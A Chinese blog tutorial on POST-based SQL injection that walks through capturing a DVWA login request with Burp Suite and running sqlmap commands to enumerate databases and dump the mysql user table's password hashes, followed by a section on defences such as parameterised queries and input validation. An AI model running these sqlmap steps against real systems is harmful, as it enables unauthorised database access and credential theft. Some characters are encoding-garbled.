了解sqlmap
sqlmap是一款開源、功能強(qiáng)大的自動化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多種數(shù)據(jù)庫。支持get,post ,cookie注入,支持基于布爾的盲注,基于時間的盲注,錯誤回顯注入,聯(lián)合查詢注入,堆查詢注入等。
POST注入形成原因
1.在登錄處,用于判斷用戶名、密碼會使用select語句;
2.在修改密碼處,更新密碼,會使用到update語句;
3.在商城系統(tǒng)中,訂單的添加,刪除,可能會使用到insert,delete語句;
登錄是執(zhí)行POST請求,與GET請求不同,傳給服務(wù)器的值不會再URL中出現(xiàn)了,而是在請求體里,當(dāng)服務(wù)器拿到請求體的數(shù)據(jù),再執(zhí)行SQL語句,查詢是否存在用戶輸入的用戶名和密碼。
傳入?yún)?shù),服務(wù)器解析參數(shù)之后,完整閉合SQL語句,構(gòu)造萬能密碼成功登陸。
POST注入也屬于SQL注入,所以究其原因還是由于參數(shù)沒有過濾導(dǎo)致的。源碼如下:

使用sqlmap進(jìn)行POST注入
進(jìn)入DVWA,選擇Brute Force選項(xiàng),username和password隨便輸入,然后打開burpsuite,設(shè)置好本地代理,進(jìn)行抓包。


將抓到的包保存為1.txt,并放到c盤根目錄下。
打開sqlmap。第一步:列出數(shù)據(jù)庫:
sqlmap.py -r c:\1.txt -p username --dbs
-r表示加載一個文件,-p指定參數(shù)

第二步:猜表:選擇一個數(shù)據(jù)庫進(jìn)行猜表:
sqlmap.py -r c:\1.txt-p username -D mysql --tables
-D表示數(shù)據(jù)庫;-T表示表;-C表示列

第三步:猜列:
sqlmap.py -r c:\1.txt-p username -D mysql -T user--columns

第四步:得到數(shù)據(jù):
sqlmap.py -r c:\1.txt -p username -D mysql -T user -C“User,Password” --dump

此時就得到了root用戶的密碼哈希值,接下來解密就行。
如何防止POST注入?
權(quán)限區(qū)分:
普通用戶與系統(tǒng)管理員用戶的權(quán)限要有嚴(yán)格的區(qū)分。由于Drop 語句關(guān)系到數(shù)據(jù)庫的基本對象,故要操作這個語句用戶必須有相關(guān)的權(quán)限。在權(quán)限設(shè)計中,對于終端用戶,即應(yīng)用軟件的使用者,沒有必要給他們數(shù)據(jù)庫對象的建立、刪除等權(quán)限。那么即使在他們使用 SQL 語句中帶有嵌入式的惡意代碼,由于其用戶權(quán)限的限制,這些代碼也將無法被執(zhí)行。故應(yīng)用程序在設(shè)計的時候,最好把系統(tǒng)管理員的用戶與普通用戶區(qū)分開來。如此可以最大限度的減少注入式攻擊對數(shù)據(jù)庫帶來的危害。
使用參數(shù)化語句:
如果在編寫 SQL 語句的時候,用戶輸入的變量不是直接嵌入到 SQL 語句,而是通過參數(shù)來傳遞這個變量的話,那么就可以有效的防治 SQL 注入式攻擊。也就是說,用戶的輸入絕對不能夠直接被嵌入到 SQL 語句中。與此相反,用戶的輸入的內(nèi)容必須進(jìn)行過濾,或者使用參數(shù)化的語句來傳遞用戶輸入的變量。參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到 SQL 語句中。采用這種措施,可以杜絕大部分的 SQL 注入式攻擊。
對用戶的輸入進(jìn)行驗(yàn)證:
通過測試類型、長度、格式和范圍來驗(yàn)證用戶輸入,過濾用戶輸入的內(nèi)容。這是防止 SQL 注入式攻擊的常見并且行之有效的措施。防治 SQL 注入式攻擊可以采用兩種方法,一是加強(qiáng)對用戶輸入內(nèi)容的檢查與驗(yàn)證;二是強(qiáng)迫使用參數(shù)化語句來傳遞用戶輸入的內(nèi)容。在 SQLServer 數(shù)據(jù)庫中,有比較多的用戶輸入內(nèi)容驗(yàn)證工具,可以幫助管理員來對付SQL 注入式攻擊。測試字符串變量的內(nèi)容,只接受所需的值。拒絕包含二進(jìn)制數(shù)據(jù)、轉(zhuǎn)義序列和注釋字符的輸入內(nèi)容。這有助于防止腳本注入,防止某些緩沖區(qū)溢出攻擊。測試用戶輸入內(nèi)容的大小和數(shù)據(jù)類型,強(qiáng)制執(zhí)行適當(dāng)?shù)南拗婆c轉(zhuǎn)換。這即有助于防止有意造成的緩沖區(qū)溢出,對于防治注入式攻擊有比較明顯的效果。
多使用數(shù)據(jù)庫自帶的安全參數(shù):
為了減少注入式攻擊對于 SQLServer 數(shù)據(jù)庫的不良影響,在 SQLServer 數(shù)據(jù)庫專門設(shè)計了相對安全的 SQL 參數(shù)。在數(shù)據(jù)庫設(shè)計過程中,工程師要盡量采用這些參數(shù)來杜絕惡意的 SQL 注入式攻擊。如在 SQL Server 數(shù)據(jù)庫中提供了 Parameters 集合。這個集合提供了類型檢查和長度驗(yàn)證的功能。如果管理員采用了 Parameters 這個集合的話,則用戶輸入的內(nèi)容將被視為字符值而不是可執(zhí)行代碼。即使用戶輸入的內(nèi)容中含有可執(zhí)行代碼,則數(shù)據(jù)庫也會過濾掉。因?yàn)榇藭r數(shù)據(jù)庫只把它當(dāng)作普通的字符來處理。
多層環(huán)境防止 SQL 注入:
在多層應(yīng)用環(huán)境中,用戶輸入的所有數(shù)據(jù)都應(yīng)該在驗(yàn)證之后才能被允許進(jìn)入到可信區(qū)域。未通過驗(yàn)證過程的數(shù)據(jù)應(yīng)被數(shù)據(jù)庫拒絕,并向上一層返回一個錯誤信息。實(shí)現(xiàn)多層驗(yàn)證。對無目的的惡意用戶采取的預(yù)防措施,對堅定的攻擊者可能無效。
設(shè)置陷阱賬號:文章來源:http://www.zghlxwxcb.cn/news/detail-636730.html
設(shè)置兩個帳號,一個是普通管理員帳號,一個是防注入的帳號。將防注入的賬號設(shè)置的很象管理員,如 admin,以制造假象吸引軟件的檢測,而密碼是大于千字以上的中文字符,迫使軟件分析賬號的時候進(jìn)入全負(fù)荷狀態(tài)甚至資源耗盡而死機(jī)。文章來源地址http://www.zghlxwxcb.cn/news/detail-636730.html
到了這里,關(guān)于利用sqlmap進(jìn)行post注入學(xué)習(xí)筆記的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!